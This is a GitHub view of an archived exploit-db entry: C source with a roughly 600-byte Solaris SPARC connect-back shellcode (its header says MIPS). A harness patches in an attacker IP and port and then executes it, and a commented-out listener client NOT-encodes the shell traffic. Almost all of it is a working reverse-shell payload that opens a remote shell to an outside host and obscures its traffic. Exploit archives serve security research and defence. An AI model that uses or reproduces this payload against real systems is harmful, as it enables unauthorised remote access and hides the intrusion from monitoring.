forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy path13491.c
More file actions
executable file
·162 lines (121 loc) · 6.05 KB
/
Copy path13491.c
File metadata and controls
executable file
·162 lines (121 loc) · 6.05 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
/*
black-RXenc-con-back-SOLARIS.c (MIPS)
This is a relitivly small (600 byte) shellcode that encodes all network trafic between the
exploited process and the attacker. All clear-text shell i/o is encoded using a simple NOT
algo before being transmitted on the wire.
7.21.6 Russell Sanford (xort@blacksecurity.org)
*/
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
// opcode encodings for performing sethi/or against/into register %o1 w/ nulled data
#define SETHI_O1 0x13000000
#define OR_O1 0x92126000
char rx_enc_con_back[] =
"\x13\x04\xbd\xd0\x93\x32\x60\x0c\xd2\x23\xbf\xd4\x13\x1b\x5c\x0b\x92\x12\x63\x50\xd2\x23\xbf\xd8\xc0\x23\xbf\xdc\x20\xbf\xff\xff"
"\x20\xbf\xff\xff\x7f\xff\xff\xff\x9e\x03\xe0\x90\x20\xbf\xff\xfb\x81\xc3\xe0\x04\x96\x1a\xc0\x0b\x81\xc3\xff\x1c\x92\x10\x20\x02"
"\x94\x1a\x80\x0a\x96\x1a\xc0\x0b\x98\x10\x20\x01\x82\x10\x20\xe6\x91\xd0\x20\x08\x80\x1a\xc0\x0b\x81\xc3\xe0\x08\x80\x1a\xc0\x0b"
"\x82\x10\x20\x02\x91\xd0\x20\x08\x96\x1a\xc0\x0b\x80\x92\xc0\x09\x12\xbf\xff\xf0\x96\x1a\xc0\x0b\x7f\xff\xff\xf1\x90\x10\x20\x01"
"\xd0\x23\xbf\xcc\xe0\x03\xbf\xcc\x90\x03\xbf\xd6\x82\x10\x20\x0a\x91\xd0\x20\x08\xd0\x03\xbf\xcc\x92\x03\xbf\xd4\x94\x10\x20\x08"
"\x96\x10\x20\x03\x98\x1a\xc0\x0b\x82\x10\x20\xe8\x91\xd0\x20\x08\xd0\x03\xbf\xcc\x92\x10\x20\x01\x94\x10\x20\x01\x82\x10\x20\xe9"
"\x91\xd0\x20\x08\xd0\x03\xbf\xcc\x92\x03\xbf\xd4\x94\x10\x20\x28\xd4\x23\xbf\xd0\x94\x03\xbf\xd0\x96\x10\x20\x01\x82\x10\x20\xea"
"\x91\xd0\x20\x08\xd0\x23\xbf\xcc\x94\x10\x20\x01\x92\x10\x20\x09\x82\x10\x20\x3e\x91\xd0\x20\x08\xd0\x03\xbf\xcc\x94\x22\xc0\x0b"
"\x91\xd0\x20\x08\xd0\x03\xbf\xcc\x94\x10\x20\x02\x91\xd0\x20\x08\x94\x1a\x80\x0a\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b\xcb\xdc"
"\xa2\x14\x63\x68\xd4\x23\xbf\xd0\xe2\x23\xbf\xcc\xe0\x23\xbf\xc8\x90\x23\xa0\x38\xd4\x23\xbf\xc4\xd0\x23\xbf\xc0\x92\x23\xa0\x40"
"\x82\x10\x20\x0b\x91\xd0\x20\x08\x90\x10\x20\x03\xd0\x23\xbf\xf8\x90\x03\xbf\xf8\x92\x1a\x40\x09\x82\x10\x20\xc7\x91\xd0\x20\x08"
"\x7f\xff\xff\xb7\x90\x10\x20\x01\x80\x18\x40\x02\xd0\x23\xbf\x80\x92\x03\xbf\xd4\x94\x10\x20\x08\x82\x10\x20\xeb\x91\xd0\x20\x08"
"\x7f\xff\xff\xaf\x90\x10\x20\x02\xd0\x23\xbf\xf8\x13\x0a\xb6\x48\x93\x32\x60\x0c\xd2\x23\xbf\xec\x13\x24\x28\x9e\x92\x12\x60\xd7"
"\xd2\x23\xbf\xf0\xc0\x23\xbf\xf4\x92\x03\xbf\xec\x94\x10\x20\x10\x82\x10\x20\xeb\x91\xd0\x20\x08\xe4\x03\xbf\xf8\xe2\x03\xbf\x80"
"\xe2\x23\xbf\xf8\xe4\x23\xbf\x80\x94\x10\x20\x01\x91\x2a\xa0\x10\xd0\x23\xbf\xfc\x90\x03\xbf\xf8\x92\x10\x20\x01\x84\x3a\xc0\x0b"
"\x82\x10\x20\x57\x91\xd0\x20\x08\x92\x18\x40\x01\x80\xa2\x40\x08\x02\xbf\xff\xf2\xd0\x03\xbf\xf8\x92\x03\xbf\x88\x94\x10\x20\x64"
"\x82\x10\x20\x03\x91\xd0\x20\x08\x92\x18\x40\x01\x80\xa2\x40\x08\x02\xbf\xff\xea\x92\x10\x3f\x9c\x9e\x03\xbf\xec\xd6\x03\xc0\x09"
"\x82\x22\xc0\x0b\x96\x3a\xc0\x01\xd6\x23\xc0\x09\x80\xa2\x40\x01\x12\xbf\xff\xfb\x92\x02\x60\x04\x94\x0a\x3f\xff\xd0\x03\xbf\x80"
"\x92\x03\xbf\x88\x82\x10\x20\x04\x91\xd0\x20\x08\x10\xbf\xff\xdb\x80\x18\x40\x02";
void patchcode(long ip, unsigned short port) {
// fix sethi instruction to set up ip.
*(long *)&rx_enc_con_back[408] = SETHI_O1 + ((ip)>>10 & 0x3fffff);
// FIX or instruction to set up ip.
*(long *)&rx_enc_con_back[412] = OR_O1 + (ip & 0x2ff);
// fix sethi instruction to set up port/family.
*(long *)&rx_enc_con_back[396] = SETHI_O1 + (((AF_INET<<16) + port)<<2);
}
void (*fakefunc)();
void main() {
patchcode(inet_addr("10.0.0.3"), 44434);
char *buffer = (char *) malloc(1024);
strcpy(buffer, rx_enc_con_back);
fakefunc = buffer;
fakefunc();
}
/*
// quickclient.c - client for remote connect back solaris shellcode //
// w/ realtime encoded communications. //
// xort@blacksecurity.org - 7.17.6 //
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#define PORT 44434
// simple routine to do NOT opperation on all data passed/revieved.
void notbuffer(char *string) {
int i;
for (i=0; i<100; i+=4)
*(int *)(string+i) = ~ *(int *)(string+i);
}
void main() {
struct sockaddr_in mine;
int sockfd;
char buffer[100];
int len, sent, l;
fd_set rfds, wfds;
mine.sin_family = AF_INET;
mine.sin_port = htons(PORT);
mine.sin_addr.s_addr = 0;
bzero(mine.sin_zero, 8);
sockfd = socket(AF_INET, SOCK_STREAM, 0);
len = sizeof(mine);
bind(sockfd, (struct sockaddr *)&mine, sizeof(mine));
listen(sockfd, 1);
sockfd = accept(sockfd, 0, &len);
while (1) {
FD_SET (0, &rfds);
FD_SET (sockfd, &rfds);
FD_SET (sockfd, &wfds);
select (sockfd + 1, &rfds, NULL, NULL, NULL);
if (FD_ISSET (0, &rfds)) {
l = read (0, buffer, sizeof (buffer));
notbuffer(buffer);
if (l <= 0) {
exit (EXIT_FAILURE);
}
sent=0;
while (!sent) {
select (sockfd+1, NULL, &wfds, NULL, NULL);
if (FD_ISSET(sockfd, &wfds)) {
write(sockfd, buffer, l);
sent=1;
}
}
}
if (FD_ISSET (sockfd, &rfds)) {
l = read (sockfd, buffer, sizeof (buffer));
notbuffer(buffer);
if (l == 0) {
fprintf(stdout,"\n [x] Connection Closed By Remote Host.\n");
exit (EXIT_FAILURE);
} else if (l < 0) {
exit (EXIT_FAILURE);
}
write (1, buffer, l);
}
}
}
*/
// milw0rm.com [2006-07-21]